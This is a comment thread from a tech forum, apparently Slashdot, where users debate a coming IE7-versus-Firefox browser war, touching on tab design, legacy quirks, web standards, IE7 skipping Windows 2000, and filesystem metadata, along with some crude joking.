[NutscrapeSucks]

The real problem is that IE is extremely permissive, and most of this world's sites are built specifically for IE. This was a deliberate move by Microsoft.

Yes, and the reasoning was that old versions of Nutscrape were extremely permissive, and most of the world's sites were built specifically for Nutscrape (which had 90% marketshare). So MS was deliberately backward compatible with a lot of cruddy web pages.

Even before then, "Permissiveness" was touted as the killer feature of HTML -- the syntax rules were lax and it was easy for beginners to hand code pages.

Finally, by default, FireFox is in qurks mode, and is very tolerant of legacy pages. If it wasn't, you couldn't use it to surf slashdot, for example. So, I don't see anyone breaking the cycle of permissiveness anytime soon -- future browsers will always have to emulate the slop of their predecessors.

Browser tabs are inconsistent with Windows tabs

[jesterzog]

Windows products do seem to use TABS.... Right-click on "My Computer" (if you've actually left it named that!), select PROPERTIES. Not only does Microsoft use TABS to manage some of the most important aspects of computers, they've done it poorly! [--snip--] Fortunately Mozilla and Firefox came along and convinced me tabbed interfaces could be done nicely and ergonomicly. I'm back in the tabbed fold... sigh.

I like the Mozilla/Firefox tabs, and so far I prefer them over anything else I've seen lately. If Microsoft actually does have a genuine problem, though, I think it's likely to be that the tabs Firefox uses work inconsistently with most similar-looking tabs in nearly any other application.

In Windows, tabs are nearly always static. The user can always see what tabs are visible, new tabs never appear and old tabs don't disappear. This is a factor in usability because it means the user can expect that they're aware of all available configuration options.

In Windows, the concept of creating a tab or destroying a tab don't exist. If Microsoft could argue something rationally about this, it would be that the concept of creating and destroying tabs might confuse a user, if not in IE than in nearly every other Windows application they use after it. It puts the user into a frame of mind where they're being asked to do something that's normally done by a developer.

I still think it's a silly argument, though, if only because static tabs need have nothing to do with it. The fact is that Microsoft does provide dynamic tabs in their applications -- they simply look slightly different. Specifically, take a look at how MS Excel manages multiple worksheets (within a spreadsheet), and you'll notice that it uses differents types of tabs, where they're spaced along the bottom of the window instead of the top. This type of tab mimics exactly the type of dynamic behaviour that Internet Explorer would be using.

If Microsoft wants to be consistent with their other applications, they need only utilise the same system that Excel uses, and they might even find that people more quickly understand Excel as a result.

Re:There will never be another browser war on wind

[interstellar_donkey]

That is seemingly the direct reaction of a single program being used by the masses. In this sense, I think everyone could benefit from more variety. But it probably wont happen with a program as complex as today's browsers.

All too true. Just look at operating systems. Part of the reason so much junk like spy ware and viruses is written for Windows is because so many people use it.

Maybe its required that we use something different from the masses of people in order to have a pleasant browsing experience?

I can't help to think that the sudden rise in popularity of Linux didn't have something to do with Microsoft focusing on reliability when they developed XP. In 98, and even more so in ME, stability was a joke, and the real big benefit to migrating to Linux for many people was that your computer didn't freeze up at least once every day.

So even though Firefox will probably not become *the* dominate browser, it certainly is getting MS off their rears to make IE better.

Re:There will never be another browser war on wind

[krappie]

So even though Firefox will probably not become *the* dominate browser, it certainly is getting MS off their rears to make IE better.

What does that say for Microsoft? They only get around to actively developing features in their most commonly used programs when the people form together and make a better alternative with the features they want? Do they just not care as long as they have the market share?

Even Microsoft realizes its amazing they've managed to get the less than 10% market share on such an unlevel playing field.

Should we rejoice now that the Mozilla people made such a good product it made the IE people get off their asses?

Re:There will never be another browser war on wind

[interstellar_donkey]

They only get around to actively developing features in their most commonly used programs when the people form together and make a better alternative with the features they want?

Welcome to American Business History for the last 100 years. One only needs to look at the behavior of our automotive industry when the big three were in collusion absent any foreign competitors to see that generally speaking, American industry does not innovate unless a better product threatens their dominance.

Will lack of IE7 on Win2k help or hurt?

[Yankovic]

Caught this on the IE7 blog:

It should be no surprise that we do not plan on releasing IE7 for Windows 2000. One reason is where we are in the Windows 2000 lifecycle. Another is that some of the security work in IE7 relies on operating system functionality in XPSP2 that is non-trivial to port back to Windows 2000.

Will the hurt (more Firefox on older machines) or help (IE7 only available on more secure platforms)?

Re:Will lack of IE7 on Win2k help or hurt?

[MikeBabcock]

Lets assume for a moment that users care more about their browser than their operating system and that they're more concerned about having the latest and best IE version than whether they run Win98 or XP or 2k for that matter. If this is true (and among home users, I'm betting it is), then Microsoft just bought itself a bunch of XP upgrades at $100+ a piece by not releasing IE7 for older versions of Windows.

Sounds like product tying to me -- if indeed IE6 is buggy and criminally error-prone, someone might decide that a lawsuit vs. Microsoft is worthwhile.

you fools

[Anonymous Coward]

Companies should not care what browser you use, they should use standards approved by the w3c to provide content.

Empire stealing the plans, no?

[akincisor]

Isn't the empire stealing the plans(ideas) from the rebels?

Browser performance?

[TwistedSpring]

drastically improve browser performance

I hope so. I only get 12 FPS with my current browser and that's not good enough.

Bad News

[Zobeid]

"For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."

My memories of the browser wars are not that positive. In fact, it was an awful mess from my standpoint. I had an Amiga at the time, and the browsers we had available for it (iBrowse, Voyager, etc.) were always behind the curve, struggling to catch up with IE and Netscape.

It was *common* to be unable to render many pages, or shop online at many stores, with any kind of alternative browser. The user experience was one I suspect most people simply would not tolerate today.

If the browser wars resume, it won't be IE or Netscape that suffer. The casualties will be Safari, iCab, Opera, Konqueror, etc. And the standards, of course, will be trashed right and left.

Re:Browser war may lead 2 instability/incompatibil

[Anonymous Coward]

Actually the browsers wars were much worse than that and possibly will be again if it's handled the same way. Each release of every major browser has its own little quirks (read: bugs) that you had to take into account and compensate for.

The hacks required to make the same page work and render consistently on IE4, IE5, IE5.5 and IE6 were horrendous and that was just that one single browser. Then you had the pleasure of butchering it all up some more to work with the different Netscape versions.

The same is going to hold true if we start getting regular releases of browsers again. Right now you only have two (or three) major browsers to compensate for. I'm definitely not looking forward to the day where one single page needs to have hacks to make it work properly in three or four IE releases, a few dozen FireFox x.y.z builds and some different Opera versions thrown in for good measure.

The Big E != The Internet

[Anonymous Coward]

I work in a small computer shop and we install Firefox and remove the shortcuts to IE. Occasionally, a luser will ask "where the Big E is", and even after explaining to them, they then ask where their "favorites" are. Those people are known as slaves to the Empire. /star wars

STFU about the browser wars

[Dracos]

They're over, MS cheated and won. When people talk about the "new browser war" they really mean "web standards war", meaning IE vs every other browser, but goes much farther than that. MS has singlehandedly held back widespread usage of SVG and png (among others) for years.

War? You want a war? Forget tabs.

[Senor_Programmer]

Fix your browser to work with bittorrent, audio formats (stream and static), text to speech, and pod loading. Plug-ins or built-in. A Scheduling utility a must.

There are what, some 20-30 million ipods in use?

Apple might want to help with a few bux.

Not Redundant

[Anonymous Coward]

This post is earlier than the other, similar post by about 10 minutes. THAT one is redundant.

run rabbit?

[AussieVamp2]

right, if firefox dominates, gets targeted and has security problems 467 problems from Sunday, people would start looking at the new Icerabbit browser, to run away from all these problems, I am sure?

In other news today...

[PsychoBrat]

...a Kentucky man has pioneered a bread division process he calls 'slicing'...

You're!

[SeanAhern]

Your a sheep if you agree , your a zelout if your agree , if you disagree your a troll , if you disagree your a tool.

I advise application of electrodes to the genitals of all those who misspell "you're" four times in a row!

Re:You're!

[Anonymous Coward]

I was drunk :P, also i advice aplication of electrode to the genitals to people who correct spelling .

MNG support

[Anonymous Coward]

Mozilla got rid of MNG support; the code was pretty big and no one was actively maintaining it. There just isn't demand for MNG support in the real world; MNG is a classic case of a standards committee making something too complicated to be really useful.

SPF also falls in to the category of too complicated do be really useful.

Metadata Wasteland

[Doc Ruby]

Filenames should not have any metadata shoehorned into them. Not "executable" flags, not MIME type, not even "unique" identifiers, and certainly not the other metadata like timestamps, owners, geo info, versions, or anything else. All that gets put into ad hoc data formats that break any meaningfully complex infosystem, are unmaintainable, and inevitably cause lots of problems. The real problem is filesystems, with inflexible metdata fields, bad tools for metadata usage, and little to no support for relations among objects. A more relational filesystem, with uniqueID, MIMEtype and other metadata would solve all kinds of problems everyone has with using data and its UI representations. Fixing mistaken expectations of GUI operations on files would be a small part of the solution, but probably one of the most popular.

Re:Metadata Wasteland

[JebusIsLord]

And you have to admit, that is what MS is (was?) trying to do with WinFS. I think Apple had the right idea back when they had both a resource and data fork, but AFAIK that was done away with in OSX.

Re:Metadata Wasteland

[Afrosheen]

Thank god they did away with it. When the filesystem took a shit on a file and the file itself remained intact, but the data and res forks got hosed, you ended up having to use 3rd party software to fix it. It wasn't a guaranteed fix either.

Ask any Mac user if they remember data and resource forks and watch their eyes roll back in their heads.

Re:Metadata Wasteland

[Doc Ruby]

MS has been feeding our need for these kinds of features with marketing hype they call "WinFS". They keep announcing it - they have for several versions of Windows - but they never deliver. I don't let them take credit for a technology, especially one they didn't propose first, without actually delivering it. Market talk is cheap, and WinFS is *way* overdue.

Whatever happened to the word "who"?

[windowpain]

The article referenced starts out "To anyone that has been following the Window's browser news lately.."

To anyone THAT? Why do people write this way these days? The proper form is, of course, "to anyone WHO..." Who. A person isn't a thing. A person is a person. When did using "who" in this context start to disappear? Does anyone know why it disappeared? Why do people use "that" instead of "who" when referring to human beings? It's weird and creepy.

what about excel?

[rmm4pi8]

In Excel, creating a new sheet in a workbook creates a new tab at the bottom of the page, which also goes away when you delete the sheet...

Re:what about excel?

[jesterzog]

In Excel, creating a new sheet in a workbook creates a new tab at the bottom of the page, which also goes away when you delete the sheet...

Maybe I've missed a point in your response, but isn't that exactly what I said? (See paragraph 4.)

Slightly OT - but bloody funny too

[rathehun]

http://www.storewars.org/flash Store Wars. Funny!